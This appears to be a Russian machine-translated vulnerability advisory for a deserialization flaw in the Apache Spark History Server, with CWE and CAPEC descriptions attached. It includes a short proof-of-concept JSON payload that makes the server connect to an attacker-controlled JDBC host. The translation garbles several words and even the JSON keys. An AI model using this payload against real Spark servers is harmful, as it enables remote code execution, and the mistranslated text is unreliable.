Эта проблема затрагивает Apache Spark: до 3.5.7 и 4.0.1. Пользователям рекомендуется обновиться до версии 3.5.7 или 4.0.1 и выше, что устра…
Эта проблема затрагивает Apache Spark: до 3.5.7 и 4.0.1. Пользователям рекомендуется обновиться до версии 3.5.7 или 4.0.1 и выше, что устраняет проблему. Резюме Apache Spark 3.5.4 и более ранние версии содержат уязвимость исполнения кода в Spark History Web UI из-за чрезмерной жемеризации данных журнала событий Джексона. Это позволяет злоумышленнику с доступом к каталогу журналов событий Spark вводить вредоносные полезные нагрузки JSON, которые вызывают дезериаизацию произвольных классов, позволяя выполнять команды на хосте под управлением Spark History Server. Детали Уязвимость возникает потому, что Spark History Server использует полиморфную дезериалазизацию Джексона с @JsonTypeInfo.Id.CLASS на объектах SparkListenerEvent, что позволяет злоумышленнику указывать произвольные названия классов в случае JSON. Такое поведение позволяет инстанцировать непреднамеренные классы, такие как org.apache.hive.jdbc.HiveConnection, которые могут выполнять сетевые вызовы или другие вредоносные действия во время дезериализации. Злоумышленник может использовать это, вводя созданный контент JSON в файлы журнала событий Spark, которые сервер истории затем дезериализует при запуске или при загрузке журналов событий. Например, злоумышленник может заставить сервер истории открыть соединение JDBC на удаленном сервере, управляемом злоумышленником, демонстрируя возможность удаленного ввода команд. Доказательства концепции: 1. 1. Запустите Spark с включенной регистрацией событий, записав в письменные каталоги (spark-logs). 2. 2. Введите следующий JSON в начале файла журнала событий: { "Событие": "орг.apache.hive.jdbc.HiveConnection", "уи": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "бережлость://<IP>:<PORT>" } } 3. 3. Запустите сервер истории Spark с журналами, указывающими на измененный каталог. 4. 4. Сервер истории Spark инициирует соединение JDBC с сервером злоумышленника, подтверждая инъекцию. Влияние Агитлер с доступом к записи журналов событий Spark может выполнить произвольный код на сервере под управлением Исторического сервера, потенциально компрометируя всю систему.
Продукт десериализует ненадёжные данные без достаточной проверки того, что полученные данные окажутся допустимыми.
https://cwe.mitre.org/data/definitions/502.html →Открыть в коллекции CWE →Злоумышленник пытается эксплуатировать приложение путём внедрения дополнительного вредоносного содержимого в процессе обработки сериализованных объектов. Разработчики используют сериализацию для преобразования данных или состояния в статичный двоичный формат с целью сохранения на диск или передачи по сети. Впоследствии эти объекты десериализуются для восстановления данных/состояния. Внедряя некорректный объект в уязвимое приложение, злоумышленник потенциально может скомпрометировать его, манипулируя процессом десериализации. Это может привести к ряду нежелательных последствий, включая удалённое выполнение кода.
https://capec.mitre.org/data/definitions/586.html →Открыть в коллекции CAPEC →| Продукт | Вендор | Статус |
|---|---|---|
| Отслеживается | ||
| Отслеживается | ||
| spark | * | Отслеживается |